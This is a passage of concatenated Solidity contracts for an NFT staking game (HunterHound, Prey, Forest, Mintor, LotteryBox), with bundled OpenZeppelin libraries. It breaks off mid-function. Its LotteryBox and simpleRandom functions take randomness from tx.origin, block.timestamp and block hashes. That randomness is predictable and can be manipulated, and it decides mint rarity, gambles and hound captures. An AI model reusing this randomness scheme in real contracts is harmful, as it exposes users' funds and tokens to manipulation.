* @param accounts mint $PREY to accounts
* @param amount $PREY amount to mint
*/
function mintsByCommunity(address[] calldata accounts, uint256 amount) external {
require(controllers[_msgSender()], "Only controllers can mint");
require(mintedByCommunity + (amount * accounts.length) <= communityTokenAmount, "No mint out");
mintedByCommunity = mintedByCommunity + (amount * accounts.length);
for (uint256 i = 0; i < accounts.length; i++) {
_mint(accounts[i], amount);
}
}
/**
* the function mints $PREY tokens by the forest, effectively controls maximum yields
* @param account mint $PREY to account
* @param amount $PREY amount to mint
*/
function mintByForest(address account, uint256 amount) external {
require(controllers[_msgSender()], "Only controllers can mint");
require(mintedByForest + amount <= forestTokenAmount, "No mint out");
mintedByForest = mintedByForest + amount;
_mint(account, amount);
}
/**
* burn $PREY token by controller
* @param account account holds $PREY token
* @param amount the amount of $PREY token to burn
*/
function burn(address account, uint256 amount) external {
require(controllers[_msgSender()], "Only controllers can mint");
_burn(account, amount);
}
/**
* enables an address to mint / burn
* @param controller the address to enable
*/
function addController(address controller) external onlyOwner {
controllers[controller] = true;
}
/**
* disables an address from minting / burning
* @param controller the address to disbale
*/
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import './LotteryBox.sol';
import "./HunterHound.sol";
contract Mintor is LotteryBox {
event MintEvent(address indexed operator, uint hunters, uint hounds, uint256[] tokenIds);
struct Minting {
uint blockNumber;
uint amount;
}
// the cost to mint in every phase
uint256 constant MINT_PRICE = .067 ether;
uint256 constant MINT_PHASE2_PRICE = 40000 ether;
uint256 constant MINT_PHASE3_PRICE = 60000 ether;
uint256 constant MINT_PHASE4_PRICE = 80000 ether;
// the amount corresponds to every hunter's alpha score
uint constant maxAlpha8Count = 500;
uint constant maxAlpha7Count = 1500;
uint constant maxAlpha6Count = 3000;
uint constant maxAlpha5Count = 5000;
// 50,000 tokens in total and mint amount in every phase
uint constant MAX_TOKENS = 50000;
uint constant PHASE1_AMOUNT = 10000;
uint constant PHASE2_AMOUNT = 10000;
uint constant PHASE3_AMOUNT = 20000;
uint constant PHASE4_AMOUNT = 10000;
// saves metadataID for next hunter
uint private alpha8Count = 1;
uint private alpha7Count = 1;
uint private alpha6Count = 1;
uint private alpha5Count = 1;
// saves metadataId for next hound
uint internal totalHoundMinted = 1;
// saves mint request of users
mapping(address => Minting) internal mintRequests;
// total minted amount
uint256 internal minted;
// total minted number of hunters
uint256 internal hunterMinted;
// recorded mint requests
uint internal requested;
/**
* check mint request
* @return blockNumber mint request block
* @return amount mint amount
* @return state mint state
* @return open NFT reavel countdown
* @return timeout NFT request reveal timeout countdown
*/
function _mintRequestState(address requestor) internal view returns (uint blockNumber, uint amount, uint state, uint open, uint timeout) {
Minting memory req = mintRequests[requestor];
blockNumber = req.blockNumber;
amount = req.amount;
state = boxState(req.blockNumber);
open = openCountdown(req.blockNumber);
timeout = timeoutCountdown(req.blockNumber);
}
/**
* create mint request, record requested block and data
*/
function _request(address requestor, uint amount) internal {
require(mintRequests[requestor].blockNumber == 0, 'Request already exists');
mintRequests[requestor] = Minting({
blockNumber: block.number,
amount: amount
});
requested = requested + amount;
}
/**
* process mint request to get random number, through which to determine hunter or hound
*/
function _receive(address requestor, HunterHound hh) internal {
Minting memory minting = mintRequests[requestor];
require(minting.blockNumber > 0, "No mint request found");
delete mintRequests[requestor];
uint random = openBox(minting.blockNumber);
uint boxResult = percentNumber(random);
uint percent = boxResult;
uint hunters = 0;
uint256[] memory tokenIds = new uint256[](minting.amount);
for (uint256 i = 0; i < minting.amount; i++) {
HunterHoundTraits memory traits;
if (i > 0 && boxResult > 0) {
random = simpleRandom(percent);
percent = percentNumber(random);
}
if (percent == 0) {
traits = selectHound();
} else if (percent >= 80) {
traits = selectHunter(random);
} else {
traits = selectHound();
}
minted = minted + 1;
hh.mintByController(requestor, minted, traits);
tokenIds[i] = minted;
if (traits.isHunter) {
hunters ++;
}
}
if (hunters > 0) {
hunterMinted = hunterMinted + hunters;
}
emit MintEvent(requestor, hunters, minting.amount - hunters, tokenIds);
}
/**
* return a hunter, if hunters run out, return a hound
* @param random make parameter random a random seed to generate another random number to determine alpha score of a hunter
* if number of hunters with corresponding alpha score runs out, it chooses the one with alpha score minus one util it runs out, otherwise it will be a hound
*
* probabilities of hunters with different alpha score and their numbers:
* alpha 8: 5% 500
* alpha 7: 15% 1500
* alpha 6: 30% 3000
* alpha 5: 50% 5000
*/
function selectHunter(uint random) private returns(HunterHoundTraits memory hh) {
random = simpleRandom(random);
uint percent = percentNumber(random);
if (percent <= 5 && alpha8Count <= maxAlpha8Count) {
hh.alpha = 8;
hh.metadataId = alpha8Count;
alpha8Count = alpha8Count + 1;
} else if (percent <= 20 && alpha7Count <= maxAlpha7Count) {
hh.alpha = 7;
hh.metadataId = alpha7Count;
alpha7Count = alpha7Count + 1;
} else if (percent <= 50 && alpha6Count <= maxAlpha6Count) {
hh.alpha = 6;
hh.metadataId = alpha6Count;
alpha6Count = alpha6Count + 1;
} else if (alpha5Count <= maxAlpha5Count) {
hh.alpha = 5;
hh.metadataId = alpha5Count;
alpha5Count = alpha5Count + 1;
} else {
return selectHound();
}
hh.isHunter = true;
}
/**
* return a hound
*/
function selectHound() private returns(HunterHoundTraits memory hh) {
hh.isHunter = false;
hh.metadataId = totalHoundMinted;
totalHoundMinted = totalHoundMinted + 1;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract LotteryBox {
// take 3 blocks' hash values to make a random seed
uint constant SEED_BLOCK_HASH_AMOUNT = 3;
// blackhash can only retrieve the most recent 256 blocks' hash values
uint constant MAX_BLOCK_HASH_DISTANCE = 256;
/**
* generate a simple random number using the parameter
*/
function simpleRandom(uint seed) internal view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
tx.origin,
block.timestamp,
seed
)));
}
/**
* Using the hashes of `SEED_BLOCK_HASH_AMOUNT` previously generated blocks as random seed to generate a random number, based on height of the request block
*/
function randomNumber(uint requestBlockNumber, uint seed) internal view returns (uint256) {
bytes32[SEED_BLOCK_HASH_AMOUNT] memory blockhashs;
for (uint i = 0; i < SEED_BLOCK_HASH_AMOUNT; i++) {
blockhashs[i] = blockhash(requestBlockNumber+1+i);
}
return uint256(keccak256(abi.encodePacked(
tx.origin,
blockhashs,
seed
)));
}
/**
* request status
*/
function boxState(uint requestBlockNumber) internal view returns (uint) {
if (requestBlockNumber == 0) {
return 0; // not requested
}
if (openCountdown(requestBlockNumber) > 0) {
return 1; // waiting for reveal
}
if (timeoutCountdown(requestBlockNumber) > 0) {
return 2; // waiting to reveal the result
}
return 3; // timeout
}
/**
* reveal countdown
*/
function openCountdown(uint requestBlockNumber) internal view returns(uint) {
return countdown(requestBlockNumber, SEED_BLOCK_HASH_AMOUNT+1);
}
/**
* timeout countdown
*/
function timeoutCountdown(uint requestBlockNumber) internal view returns(uint) {
return countdown(requestBlockNumber, MAX_BLOCK_HASH_DISTANCE+1);
}
/**
* calculate countdown
*/
function countdown(uint requestBlockNumber, uint v) internal view returns(uint) {
uint diff = block.number - requestBlockNumber;
if (diff > v) {
return 0;
}
return v - diff;
}
/**
* convert big random number into less or equal to 100 random number
*/
function percentNumber(uint random) internal pure returns(uint) {
if (random > 0) {
return (random % 100) + 1;
}
return 0;
}
/**
* generate big random number through block height
*/
function openBox(uint requestBlockNumber) internal view returns (uint) {
require(openCountdown(requestBlockNumber) == 0, "Invalid block number");
if (timeoutCountdown(requestBlockNumber) > 0) {
return randomNumber(requestBlockNumber, 0);
} else {
return 0;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
struct HunterHoundTraits {
bool isHunter;
uint alpha;
uint metadataId;
}
uint constant MIN_ALPHA = 5;
uint constant MAX_ALPHA = 8;
contract HunterHound is ERC721Enumerable, Ownable {
using Strings for uint256;
// a mapping from an address to whether or not it can mint / burn
mapping(address => bool) public controllers;
// save token traits
mapping(uint256 => HunterHoundTraits) private tokenTraits;
//the base url for metadata
string baseUrl = "ipfs://QmZWmcX4jRVZtQGQY64U26wkA83QNB1msZUhjqxJEyfaWP/";
constructor() ERC721("HunterHound","HH") {
}
/**
* set base URL for metadata
*/
function setBaseUrl(string calldata baseUrl_) external onlyOwner {
baseUrl = baseUrl_;
}
/**
* get token traits
*/
function getTokenTraits(uint256 tokenId) external view returns (HunterHoundTraits memory) {
return tokenTraits[tokenId];
}
/**
* get multiple token traits
*/
function getTraitsByTokenIds(uint256[] calldata tokenIds) external view returns (HunterHoundTraits[] memory traits) {
traits = new HunterHoundTraits[](tokenIds.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
traits[i] = tokenTraits[tokenIds[i]];
}
}
/**
* Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
HunterHoundTraits memory s = tokenTraits[tokenId];
return string(abi.encodePacked(
baseUrl,
s.isHunter ? 'Hunter' : 'Hound',
'-',
s.alpha.toString(),
'/',
s.isHunter ? 'Hunter' : 'Hound',
'-',
s.alpha.toString(),
'-',
s.metadataId.toString(),
'.json'
));
}
/**
* return holder's entire tokens
*/
function tokensByOwner(address owner) external view returns (uint256[] memory tokenIds, HunterHoundTraits[] memory traits) {
uint totalCount = balanceOf(owner);
tokenIds = new uint256[](totalCount);
traits = new HunterHoundTraits[](totalCount);
for (uint256 i = 0; i < totalCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner, i);
traits[i] = tokenTraits[tokenIds[i]];
}
}
/**
* return token traits
*/
function isHunterAndAlphaByTokenId(uint256 tokenId) external view returns (bool, uint) {
HunterHoundTraits memory traits = tokenTraits[tokenId];
return (traits.isHunter, traits.alpha);
}
/**
* controller to mint a token
*/
function mintByController(address account, uint256 tokenId, HunterHoundTraits calldata traits) external {
require(controllers[_msgSender()], "Only controllers can mint");
tokenTraits[tokenId] = traits;
_safeMint(account, tokenId);
}
/**
* controller to transfer a token
*/
function transferByController(address from, address to, uint256 tokenId) external {
require(controllers[_msgSender()], "Only controllers can transfer");
_transfer(from, to, tokenId);
}
/**
* enables an address to mint / burn
* @param controller the address to enable
*/
function addController(address controller) external onlyOwner {
controllers[controller] = true;
}
/**
* disables an address from minting / burning
* @param controller the address to disbale
*/
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import './LotteryBox.sol';
import './HunterHound.sol';
import './Prey.sol';
contract Forest is LotteryBox {
event StakeEvent(address indexed operator, uint256[][] pairs);
event ClaimEvent(address indexed operator, uint256 receiveProfit, uint256 totalProfit);
event UnstakeEvent(address indexed operator, address indexed recipient, uint256 indexed tokenId, uint256 receiveProfit, uint256 totalProfit);
struct Stake{
uint timestamp;
bool hunter;
uint hounds;
uint alpha;
uint256[] tokenIds;
}
uint constant GAMBLE_CLAIM = 1;
uint constant GAMBLE_UNSTAKE = 2;
uint constant GAMBLE_UNSTAKE_GREDDY = 3;
// action 1:claim 2:unstake 3:unstake with greddy
struct Gamble {
uint action;
uint blockNumber;
}
// the minimum amount of $PREY tokens to own before unstaking
uint constant MINIMUN_UNSTAKE_AMOUNT = 20000 ether;
// every hound receives 10,000 tokens a day
uint constant PROFIT_PER_SINGLE_HOUND = 10000 ether;
// the total profit
uint constant TOTAL_PROFIT = 2400000000 ether;
// the total claimed $PREY including burned in the game
uint internal totalClaimed;
// the total bunred $PREY
uint internal totalBurned;
// staked list
mapping(address => Stake[]) internal stakes;
// record original owner of the token
mapping(uint => address) internal tokenOwners;
// record tokenId of the hunters who have corresponding alpha score
mapping(uint256 => uint256[]) internal hunterAlphaMap;
// record index of hunter tokenId in `hunterAlphaMap`
mapping(uint256 => uint256) internal hunterTokenIndices;
// staked hounds count
uint internal houndStaked;
// staked hunters count
uint internal hunterStaked;
// the number of hounds adopted by other hunters
uint internal houndsCaptured;
mapping(address => Gamble) internal gambleRequests;
/**
* When there is a gamble request
*/
modifier whenGambleRequested() {
require(gambleRequests[msg.sender].blockNumber == 0, "Unstake or claim first");
_;
}
/**
* stake submitted tokens group and transfer to the staking contract
*/
function _stake(address owner, uint256[][] calldata pairs, HunterHound hh) internal whenGambleRequested {
require(pairs.length > 0, "Tokens empty");
require(totalClaimed < TOTAL_PROFIT, "No profit");
uint totalHunter = 0;
uint totalHounds = 0;
(totalHunter, totalHounds) = _storeStake(owner, pairs, hh);
hunterStaked = hunterStaked + totalHunter;
houndStaked = houndStaked + totalHounds;
// transfer token
for (uint256 i = 0; i < pairs.length; i++) {
for (uint256 j = 0; j < pairs[i].length; j++) {
uint256 tokenId = pairs[i][j];
hh.transferByController(owner, address(this), tokenId);
}
}
emit StakeEvent(owner, pairs);
}
/**
* store staking groups
*/
function _storeStake(address owner, uint256[][] calldata paris, HunterHound hh) private returns(uint totalHunter, uint totalHounds) {
for (uint256 i = 0; i < paris.length; i++) {
uint256[] calldata tokenIds = paris[i];
uint hunters;
uint hounds;
uint256 hunterAlpha;
uint hunterIndex = 0;
(hunters, hounds, hunterAlpha, hunterIndex) = _storeTokenOwner(owner, tokenIds, hh);
require(hounds > 0 && hounds <= 3, "Must have 1-3 hound in a pair");
require(hunters <= 1, "Only be one hunter in a pair");
// in order to select a hound, a hunter must be placed in the rear of the group
require(hunters == 0 || hunterIndex == (tokenIds.length-1), "Hunter must be last one");
totalHunter = totalHunter + hunters;
totalHounds = totalHounds + hounds;
stakes[owner].push(Stake({
timestamp: block.timestamp,
hunter: hunters > 0,
hounds: hounds,
alpha: hunterAlpha,
tokenIds: tokenIds
}));
if (hunters > 0) {
uint256 hunterTokenId = tokenIds[tokenIds.length-1];
hunterTokenIndices[hunterTokenId] = hunterAlphaMap[hunterAlpha].length;
hunterAlphaMap[hunterAlpha].push(hunterTokenId);
}
}
}
/**
* record token owner in order to return $PREY token correctly to the owner in case of unstaking
*/
function _storeTokenOwner(address owner, uint[] calldata tokenIds, HunterHound hh) private
returns(uint hunters,uint hounds,uint hunterAlpha,uint hunterIndex) {
for (uint256 j = 0; j < tokenIds.length; j++) {
uint256 tokenId = tokenIds[j];
require(tokenOwners[tokenId] == address(0), "Unstake first");
require(hh.ownerOf(tokenId) == owner, "Not your token");
bool isHunter;
uint alpha;
(isHunter, alpha) = hh.isHunterAndAlphaByTokenId(tokenId);
if (isHunter) {
hunters = hunters + 1;
hunterAlpha = alpha;
hunterIndex = j;
} else {
hounds = hounds + 1;
}
tokenOwners[tokenId] = owner;
}
}
/**
* calculate and claim staked reward, if the players chooses to gamble, there's a probability to lose all rewards
*/
function _claim(address owner, Prey prey) internal {
uint requestBlockNumber = gambleRequests[owner].blockNumber;
uint totalProfit = _claimProfit(owner, false);
uint receiveProfit;
if (requestBlockNumber > 0) {
require(gambleRequests[owner].action == GAMBLE_CLAIM, "Unstake first");
uint random = openBox(requestBlockNumber);
uint percent = percentNumber(random);
if (percent <= 50) {
receiveProfit = 0;
} else {
receiveProfit = totalProfit;
}
delete gambleRequests[owner];
} else {
receiveProfit = (totalProfit * 80) / 100;
}
if (receiveProfit > 0) {
prey.mintByForest(owner, receiveProfit);
}
if (totalProfit - receiveProfit > 0) {
totalBurned = totalBurned + (totalProfit - receiveProfit);
}
emit ClaimEvent(owner, receiveProfit, totalProfit);
}
/**
* calculate stake rewards, reset timestamp in case of claiming
*/
function _collectStakeProfit(address owner, bool unstake) private returns (uint profit) {
for (uint i = 0; i < stakes[owner].length; i++) {
Stake storage stake = stakes[owner][i];
profit = profit + _caculateProfit(stake);
if (!unstake) {
stake.timestamp = block.timestamp;
}
}
require(unstake == false || profit >= MINIMUN_UNSTAKE_AMOUNT, "Minimum claim is 20000 PREY");
}
/**
* return claimable staked rewards, update `totalClaimed`
*/
function _claimProfit(address owner, bool unstake) private returns (uint) {
uint profit = _collectStakeProfit(owner, unstake);
if (totalClaimed + profit > TOTAL_PROFIT) {
profit = TOTAL_PROFIT - totalClaimed;
}
totalClaimed = totalClaimed + profit;
return profit;
}
/**
* create a gamble request in case of unstaking or claim with gambling
*/
function _requestGamble(address owner, uint action) internal whenGambleRequested {
require(stakes[owner].length > 0, 'Stake first');
require(action == GAMBLE_CLAIM || action == GAMBLE_UNSTAKE || action == GAMBLE_UNSTAKE_GREDDY, 'Invalid action');
if (action != GAMBLE_CLAIM) {
_collectStakeProfit(owner, true);
}
gambleRequests[owner] = Gamble({
action: action,
blockNumber: block.number
});
}
/**
* return gamble request status
*/
function _gambleRequestState(address requestor) internal view returns (uint blockNumber, uint action, uint state, uint open, uint timeout) {
Gamble memory req = gambleRequests[requestor];
blockNumber = req.blockNumber;
action = req.action;
state = boxState(req.blockNumber);
open = openCountdown(req.blockNumber);
timeout = timeoutCountdown(req.blockNumber);
}
/**
* claim all profits and take back staked tokens in case of unstaking
* 20% chance to lose one of the hounds and adopted by other hunter
* if players chooses to gamble, 50% chance to burn all the profits
*/
function _unstake(address owner, Prey prey, HunterHound hh) internal {
uint requestBlockNumber = gambleRequests[owner].blockNumber;
require(requestBlockNumber > 0, "No unstake request found");
uint action = gambleRequests[owner].action;
require(action == GAMBLE_UNSTAKE || action == GAMBLE_UNSTAKE_GREDDY, "Claim first");
uint256 totalProfit = _claimProfit(owner, true);
uint random = openBox(requestBlockNumber);
uint percent = percentNumber(random);
address houndRecipient;
if (percent <= 20) {
//draw a player who has a hunter in case of losing
houndRecipient= selectLuckyRecipient(owner, percent);
if (houndRecipient != address(0)) {
houndsCaptured = houndsCaptured + 1;
}
}
uint receiveProfit = totalProfit;
if (action == GAMBLE_UNSTAKE_GREDDY) {
// 50/50 chance to lose all or take all
if (percent > 0) {
random = randomNumber(requestBlockNumber, random);
percent = percentNumber(random);
if (percent <= 50) {
receiveProfit = 0;
}
} else {
receiveProfit = 0;
}
} else {
receiveProfit = (receiveProfit * 80) / 100;
}
delete gambleRequests[owner];
uint totalHunter = 0;
uint totalHound = 0;
uint256 capturedTokenId;
(totalHunter, totalHound, capturedTokenId) = _cleanOwner(percent, owner, hh, houndRecipient);
hunterStaked = hunterStaked - totalHunter;
houndStaked = houndStaked - totalHound;
delete stakes[owner];
if (receiveProfit > 0) {
prey.mintByForest(owner, receiveProfit);
}
if (totalProfit - receiveProfit > 0) {
totalBurned = totalBurned + (totalProfit - receiveProfit);
}
emit UnstakeEvent(owner, houndRecipient, capturedTokenId, receiveProfit, totalProfit);
}
/**
* delete all data on staking, if `houndRecipient` exists, use `percent` to generate a random number and choose a hound to transfer
*/
function _cleanOwner(uint percent, address owner, HunterHound hh, address houndRecipient) private returns(uint totalHunter, uint totalHound, uint256 capturedTokenId) {
uint randomRow = percent % stakes[owner].length;
for (uint256 i = 0; i < stakes[owner].length; i++) {
Stake memory stake = stakes[owner][i];
totalHound = totalHound + stake.tokenIds.length;
if (stake.hunter) {
totalHunter = totalHunter + 1;
totalHound = totalHound - 1;
uint256 hunterTokenId = stake.tokenIds[stake.tokenIds.length-1];
uint alphaHunterLength = hunterAlphaMap[stake.alpha].length;
if (alphaHunterLength > 1 && hunterTokenIndices[hunterTokenId] < (alphaHunterLength-1)) {
uint lastHunterTokenId = hunterAlphaMap[stake.alpha][alphaHunterLength - 1];
hunterTokenIndices[lastHunterTokenId] = hunterTokenIndices[hunterTokenId];
hunterAlphaMap[stake.alpha][hunterTokenIndices[hunterTokenId]] = lastHunterTokenId;
}
hunterAlphaMap[stake.alpha].pop();
delete hunterTokenIndices[hunterTokenId];
}
for (uint256 j = 0; j < stake.tokenIds.length; j++) {
uint256 tokenId = stake.tokenIds[j];
delete tokenOwners[tokenId];
// randomly select 1 hound
if (i == randomRow && houndRecipient != address(0) && (stake.tokenIds.length == 1 || j == (percent % (stake.tokenIds.length-1)))) {
hh.transferByController(address(this), houndRecipient, tokenId);
capturedTokenId = tokenId;
} else {
hh.transferByController(address(this), owner, tokenId);
}
}
}
}
/**
* of all hunters staked, choose one to adopt the hound, hunter with higher alpha score takes precedence.
* alpha 8: 50%
* alpha 7: 30%
* alpha 6: 15%
* alpha 5: 5%
*/
function selectLuckyRecipient(address owner, uint seed) private view returns (address) {
uint random = simpleRandom(seed);
uint percent = percentNumber(random);
uint alpha;
if (percent <= 5) {
alpha = 5;
} else if (percent <= 20) {
alpha = 6;
} else if (percent <= 50) {
alpha = 7;
} else {
alpha = 8;
}
uint alphaCount = 4;
uint startAlpha = alpha;
bool directionUp = true;
while(alphaCount > 0) {
alphaCount --;
uint hunterCount = hunterAlphaMap[alpha].length;
if (hunterCount != 0) {
uint index = random % hunterCount;
uint count = 0;
while(count < hunterCount) {
if (index >= hunterCount) {
index = 0;
}
address hunterOwner = tokenOwners[hunterAlphaMap[alpha][index]];
if (owner != hunterOwner) {
return hunterOwner;
}
index ++;
count ++;
}
}
if (alpha >= 8) {
directionUp = false;
alpha = startAlpha;
}
if (directionUp) {
alpha ++;
} else {
alpha --;
}
}
return address(0);
}
/**
* calculate the claimable profits of the stake
*/
function _caculateProfit(Stake memory stake) internal view returns (uint) {
uint profitPerStake = 0;
if (stake.hunter) {
profitPerStake = ((stake.hounds * PROFIT_PER_SINGLE_HOUND) * (stake.alpha + 10)) / 10;
} else {
profitPerStake = stake.hounds * PROFIT_PER_SINGLE_HOUND;
}
return (block.timestamp - stake.timestamp) * profitPerStake / 1 days;
}
/**
* take back all staked tokens in case of rescue mode
*/
function _rescue(address owner, HunterHound hh) internal {
delete gambleRequests[owner];
uint totalHound = 0;
uint totalHunter = 0;
(totalHunter, totalHound, ) = _cleanOwner(0, owner, hh, address(0));
delete stakes[owner];
houndStaked = houndStaked - totalHound;
hunterStaked = hunterStaked - totalHunter;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
